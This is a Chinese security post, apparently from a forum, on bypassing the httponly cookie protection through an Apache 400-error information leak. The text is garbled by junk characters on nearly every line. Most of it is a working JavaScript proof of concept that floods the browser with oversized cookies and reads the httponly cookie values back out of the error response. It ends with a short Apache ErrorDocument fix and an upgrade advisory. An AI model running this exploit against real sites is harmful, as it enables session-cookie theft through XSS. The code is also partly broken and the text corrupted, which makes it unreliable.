很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。1 Q, K* K! R4 n( v. w) J; e9 M9 k5 L
2 V( @5 z2 L# _! k( y( s) x用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:9 w6 c. ^% m- A1 x' ^ ?6 E
4 }4 J1 F2 c$ p: o
/ L' v' l3 G& \6 W& [// http://www.exploit-db.com/exploits/18442/9 b0 X4 }; O# {- U3 i) A; ~
function setCookies (good) {
1 S2 I E3 ?+ Z9 W; h// Construct string for cookie value6 e' G( D5 ^: I3 [7 ^5 J& ` D' G7 O
var str = "";
/ q# ^' D8 M) h7 v1 X* o4 [for (var i=0; i< 819; i++) {
) |/ c7 j1 i, q A; Mstr += "x";. L* g7 X( X/ b c
}2 a. d6 [7 p4 S3 z
// Set cookies
8 d9 D2 z& R6 r( f! J& wfor (i = 0; i < 10; i++) {/ }: d; n7 N) A, d) a7 h9 W+ U
// Expire evil cookie
% }, Z+ H% ?3 _! ~5 uif (good) {$ O# z; w1 k1 u; x6 v. U3 l; N$ }
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";5 ~3 T* ^8 q. g9 Z; x; r" e/ {
}: c8 t& B! y* H7 v
// Set evil cookie
4 B7 J7 l ?% g4 s4 m- f; qelse {
) y% a8 y1 `, yvar cookie = "xss"+i+"="+str+";path=/";
+ M4 U+ Q" C7 I! k! N" w3 |}6 M+ l+ T# i2 ]& r
document.cookie = cookie;) u6 X% } k# y4 W
}; `: _9 l" j% s5 G
}/ a1 N9 e0 f$ _* |1 _: ~
function makeRequest() {, d+ L& ^# J& @0 W8 \
setCookies();
# h. L$ B' i" j7 w9 [7 h( l2 E& u0 s: ~function parseCookies () {2 U; _* q: T% \
var cookie_dict = {};
9 D5 j' X& j% y& t( b// Only react on 400 status
6 W1 W7 `! \4 y* L7 ]- Y: oif (xhr.readyState === 4 && xhr.status === 400) {8 W, Y6 s( t2 p6 `8 m6 \
// Replace newlines and match <pre> content
1 R; J6 }( ]; V4 u8 a6 ovar content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);/ Y6 H2 Q0 @8 M, ]3 D' F, U9 d
if (content.length) {
* X; ^3 O a/ Q8 x; E// Remove Cookie: prefix. z' z/ x4 i8 r- m
content = content[1].replace("Cookie: ", "");
1 m8 `& z% e {0 z) h1 wvar cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);+ ~- W" v, [" R5 f2 f5 q: w
// Add cookies to object
$ Y8 T, b$ u2 G9 D& J! m/ Ffor (var i=0; i<cookies.length; i++) {
% }9 `( L; S7 W! X7 A7 Jvar s_c = cookies.split('=',2);
8 S- _4 y9 m4 a. Ncookie_dict[s_c[0]] = s_c[1];/ n5 M# G& S/ n0 j# H. I4 R
}( O: R3 S+ B! q! C
}
0 j* P* N7 O9 d, o% j// Unset malicious cookies3 ~0 U4 V6 y+ W9 A! ]
setCookies(true);
7 W% @& a. L. q p( j6 oalert(JSON.stringify(cookie_dict));& y. }/ v/ L1 y5 z" O s$ e
}" p3 I& z1 [/ v4 V6 a1 s
}
, U# r3 D- k" L8 i: I5 h// Make XHR request
& b) N$ @" ?% w3 {2 vvar xhr = new XMLHttpRequest();
, J1 g B" D" T B* ^1 C2 q4 i) Vxhr.onreadystatechange = parseCookies;! T! J- m8 _% ~2 ]: {
xhr.open("GET", "/", true);
, P8 M- o4 x8 l4 Hxhr.send(null);- P% z( t7 r: V M9 u
}8 T: W+ V0 s% n& t( ?! Q/ L. P
makeRequest();8 P! o! @ {1 Z+ J w
" }3 m( t: [( b( h% Z. }1 ]你就能看见华丽丽的400错误包含着cookie信息。
0 j' f. Y8 W5 ], Z; [
+ u( l4 a4 F8 N G5 X; [/ R下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
- B. O, S; F4 D4 D
' d$ E; H( ^! ~3 Y9 h* C修复方案:% C5 h. }# I$ U# P1 e
9 V% r6 Z, l) k- H1 F" Q" ?Apache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下
{& N6 R/ ~# o' G( K4 g5 G, v6 F: v: r. g4 y+ p
In the event of a problem or error, Apachecan be configured to do one of four things,, Q% S n; C0 K2 m) ~5 z6 ^
" I/ s! o" b& I1. output asimple hardcoded error message输出一个简单生硬的错误代码信息" ]! R- v& w* L& l
2. output acustomized message输出一段信息* X3 X4 r& W5 [$ V9 D
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
9 q) P, M9 k8 d4 n* N" Y. ?7 X4. redirect to an external URL to handle theproblem/error转向一个外部URL
8 w6 x/ C' f6 {; i: k2 [5 Q# Z1 S# L- _ b" v$ Z6 Z0 ^
经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容
3 {/ T/ F2 q! B7 }6 M d3 e/ e
Apache配置:# C4 N2 u: E1 Z& L4 u
1 w% H O% q$ N* t& q( BErrorDocument400 " security test"
+ w/ c+ O; j0 H N
6 c7 I) _4 G7 _, w! c$ `& m Q( h当然,升级apache到最新也可:)。
0 O [' }' a7 `7 a' z9 ^& U6 W' f4 a6 c" ]) i& [$ V2 \/ M
参考:http://httpd.apache.org/security/vulnerabilities_22.html
2 d, }' u7 N- e, f
e/ Z( g/ s" z9 B' N6 ^5 u |